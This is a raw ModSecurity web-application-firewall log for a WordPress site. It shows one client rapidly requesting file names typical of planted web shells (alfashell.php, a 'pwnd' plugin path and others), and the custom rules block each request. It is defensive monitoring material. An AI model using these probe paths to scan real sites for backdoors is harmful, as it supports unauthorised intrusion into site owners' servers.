[Sun Apr 12 12:14:27.955957 2026] [:error] [pid 26600:tid 26637] [client 20.215.64.75:52478] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adscI-1YwAZiXhQKLYrZNQAAAYg"]
[Sun Apr 12 12:14:28.496873 2026] [:error] [pid 60280:tid 60302] [client 20.215.64.75:51234] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adscJHBlLnDOYuIykkilXgAAAdQ"]
[Sun Apr 12 12:14:29.002366 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:59119] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adscJcxUaQZxT-e0YsCDdwAAAFA"]
[Sun Apr 12 12:14:29.516027 2026] [:error] [pid 26599:tid 26623] [client 20.215.64.75:9231] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "adscJXG89LXoQbk_rwCXewAAAVU"]
[Sun Apr 12 12:14:30.062119 2026] [:error] [pid 26600:tid 26643] [client 20.215.64.75:59771] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adscJu1YwAZiXhQKLYrZNwAAAY4"]
[Sun Apr 12 12:14:30.580464 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:51249] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adscJsxUaQZxT-e0YsCDeAAAAFI"]
[Sun Apr 12 12:14:31.088477 2026] [:error] [pid 25328:tid 25367] [client 20.215.64.75:60997] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adscJ8xUaQZxT-e0YsCDfQAAAEM"]
[Sun Apr 12 12:14:31.651389 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:53953] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "adscJ3BlLnDOYuIykkilZwAAAcg"]
[Sun Apr 12 12:14:32.160913 2026] [:error] [pid 25328:tid 25375] [client 20.215.64.75:52460] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adscKMxUaQZxT-e0YsCDhAAAAEk"]
[Sun Apr 12 12:14:32.669090 2026] [:error] [pid 25328:tid 25398] [client 20.215.64.75:59076] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adscKMxUaQZxT-e0YsCDhQAAAFQ"]
[Sun Apr 12 12:14:33.190990 2026] [:error] [pid 25328:tid 25401] [client 20.215.64.75:59768] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adscKcxUaQZxT-e0YsCDiAAAAFU"]
[Sun Apr 12 12:14:33.711299 2026] [:error] [pid 25328:tid 25403] [client 20.215.64.75:62959] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "adscKcxUaQZxT-e0YsCDiwAAAFY"]
[Sun Apr 12 12:14:34.221734 2026] [:error] [pid 25328:tid 25385] [client 20.215.64.75:51208] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adscKsxUaQZxT-e0YsCDjQAAAE4"]
[Sun Apr 12 12:14:34.744399 2026] [:error] [pid 25437:tid 25442] [client 20.215.64.75:59132] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adscKnf97wYZje1ep_PIXwAAAMM"]
[Sun Apr 12 12:14:35.261931 2026] [:error] [pid 25327:tid 25351] [client 20.215.64.75:9980] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adscKy6h2tZEVJo9JFKU-AAAAA8"]
[Sun Apr 12 12:14:35.781048 2026] [:error] [pid 25327:tid 25344] [client 20.215.64.75:59749] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "adscKy6h2tZEVJo9JFKU-wAAAAg"]
[Sun Apr 12 12:14:36.286588 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:59106] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adscLHBlLnDOYuIykkilfwAAAcs"]
[Sun Apr 12 12:14:36.794493 2026] [:error] [pid 25328:tid 25408] [client 20.215.64.75:9274] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adscLMxUaQZxT-e0YsCDlAAAAFg"]
[Sun Apr 12 12:14:37.304341 2026] [:error] [pid 60280:tid 60305] [client 20.215.64.75:59094] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adscLXBlLnDOYuIykkiliAAAAdc"]
[Sun Apr 12 12:14:37.817398 2026] [:error] [pid 25328:tid 25403] [client 20.215.64.75:59081] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adscLcxUaQZxT-e0YsCDmAAAAFY"]
[Sun Apr 12 12:14:38.329912 2026] [:error] [pid 26567:tid 26580] [client 20.215.64.75:9230] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adscLnhRpg6ptWFyFx1e1AAAAQs"]
[Sun Apr 12 12:14:38.854781 2026] [:error] [pid 60280:tid 60296] [client 20.215.64.75:51216] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adscLnBlLnDOYuIykkiljQAAAc4"]
[Sun Apr 12 12:14:39.380142 2026] [:error] [pid 60280:tid 60289] [client 20.215.64.75:9578] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adscL3BlLnDOYuIykkiljwAAAcc"]
[Sun Apr 12 12:14:39.891839 2026] [:error] [pid 26599:tid 26621] [client 20.215.64.75:9258] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "adscL3G89LXoQbk_rwCXgQAAAVM"]
[Sun Apr 12 12:14:40.418369 2026] [:error] [pid 25437:tid 25461] [client 20.215.64.75:51248] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adscMHf97wYZje1ep_PIaAAAANY"]
[Sun Apr 12 12:14:40.927162 2026] [:error] [pid 60280:tid 60290] [client 20.215.64.75:51223] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adscMHBlLnDOYuIykkilmAAAAcg"]
[Sun Apr 12 12:14:41.437408 2026] [:error] [pid 25327:tid 25355] [client 20.215.64.75:59078] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adscMS6h2tZEVJo9JFKVAAAAABM"]
[Sun Apr 12 12:14:41.948655 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:59131] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "adscMXBlLnDOYuIykkilmgAAAcs"]
[Sun Apr 12 12:14:42.455294 2026] [:error] [pid 60280:tid 60292] [client 20.215.64.75:59720] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adscMnBlLnDOYuIykkilmwAAAco"]
[Sun Apr 12 12:14:42.967453 2026] [:error] [pid 25327:tid 25336] [client 20.215.64.75:9591] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adscMi6h2tZEVJo9JFKVBAAAAAA"]
[Sun Apr 12 12:14:43.479341 2026] [:error] [pid 25329:tid 25402] [client 20.215.64.75:62967] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adscM2dcIYsS8Iyaj118igAAAI8"]
[Sun Apr 12 12:14:43.997765 2026] [:error] [pid 25328:tid 25370] [client 20.215.64.75:53977] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fi.php"] [unique_id "adscM8xUaQZxT-e0YsCDnQAAAEY"]
[Sun Apr 12 12:14:44.514185 2026] [:error] [pid 60280:tid 60294] [client 20.215.64.75:53958] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "adscNHBlLnDOYuIykkilnwAAAcw"]
[Sun Apr 12 12:14:46.877251 2026] [:error] [pid 25328:tid 25396] [client 20.215.64.75:53966] [client 20.215.64.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adscNsxUaQZxT-e0YsCDrQAAAFM"]
[Sun Apr 12 12:14:52.249334 2026] [:error] [pid 25328:tid 25387] [client 20.215.64.75:9546] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adscPMxUaQZxT-e0YsCDyAAAAE8"]
[Sun Apr 12 12:14:52.793177 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:9266] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adscPMxUaQZxT-e0YsCDyQAAAFA"]
[Sun Apr 12 12:14:53.404495 2026] [:error] [pid 60280:tid 60293] [client 20.215.64.75:51260] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adscPXBlLnDOYuIykkiltAAAAcs"]
[Sun Apr 12 12:14:54.026894 2026] [:error] [pid 60280:tid 60306] [client 20.215.64.75:61024] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "adscPnBlLnDOYuIykkiltgAAAdg"]
[Sun Apr 12 12:14:54.580012 2026] [:error] [pid 25328:tid 25394] [client 20.215.64.75:51239] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adscPsxUaQZxT-e0YsCDzQAAAFI"]
[Sun Apr 12 12:14:55.169548 2026] [:error] [pid 60280:tid 60299] [client 20.215.64.75:9582] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adscP3BlLnDOYuIykkilvQAAAdE"]
[Sun Apr 12 12:14:55.773354 2026] [:error] [pid 25437:tid 25452] [client 20.215.64.75:9970] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adscP3f97wYZje1ep_PIeAAAAM0"]
[Sun Apr 12 12:14:56.361650 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:62923] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "adscQMxUaQZxT-e0YsCD0QAAAFA"]
[Sun Apr 12 12:14:56.924388 2026] [:error] [pid 25328:tid 25365] [client 20.215.64.75:9243] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adscQMxUaQZxT-e0YsCD1gAAAEE"]
[Sun Apr 12 12:14:57.638156 2026] [:error] [pid 25327:tid 25356] [client 20.215.64.75:59722] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adscQS6h2tZEVJo9JFKVBgAAABQ"]
[Sun Apr 12 12:14:58.235131 2026] [:error] [pid 25328:tid 25380] [client 20.215.64.75:52431] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adscQsxUaQZxT-e0YsCD2QAAAEw"]
[Sun Apr 12 12:14:58.773155 2026] [:error] [pid 25328:tid 25372] [client 20.215.64.75:59731] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bengi.php"] [unique_id "adscQsxUaQZxT-e0YsCD2wAAAEc"]
[Sun Apr 12 12:14:59.368727 2026] [:error] [pid 25328:tid 25389] [client 20.215.64.75:9235] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adscQ8xUaQZxT-e0YsCD3wAAAFA"]
[Sun Apr 12 12:14:59.885743 2026] [:error] [pid 60280:tid 60301] [client 20.215.64.75:52436] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adscQ3BlLnDOYuIykkilxwAAAdM"]
[Sun Apr 12 12:15:00.548087 2026] [:error] [pid 60280:tid 60284] [client 20.215.64.75:62922] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adscRHBlLnDOYuIykkilywAAAcI"]
[Sun Apr 12 12:15:01.104042 2026] [:error] [pid 25327:tid 25344] [client 20.215.64.75:9234] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "adscRS6h2tZEVJo9JFKVCAAAAAg"]
[Sun Apr 12 12:15:01.648489 2026] [:error] [pid 25327:tid 25358] [client 20.215.64.75:51244] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adscRS6h2tZEVJo9JFKVCgAAABY"]
[Sun Apr 12 12:15:02.280225 2026] [:error] [pid 26567:tid 26585] [client 20.215.64.75:51215] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adscRnhRpg6ptWFyFx1e2wAAARA"]
[Sun Apr 12 12:15:02.878437 2026] [:error] [pid 60280:tid 60301] [client 20.215.64.75:9222] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adscRnBlLnDOYuIykkil1AAAAdM"]
[Sun Apr 12 12:15:03.410752 2026] [:error] [pid 25437:tid 25445] [client 20.215.64.75:52386] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "adscR3f97wYZje1ep_PIewAAAMY"]
[Sun Apr 12 12:15:03.971184 2026] [:error] [pid 26600:tid 26653] [client 20.215.64.75:59103] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adscR-1YwAZiXhQKLYrZUQAAAZg"]
[Sun Apr 12 12:15:04.489839 2026] [:error] [pid 26599:tid 26611] [client 20.215.64.75:59752] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfashell.php"] [unique_id "adscSHG89LXoQbk_rwCXhQAAAUk"]
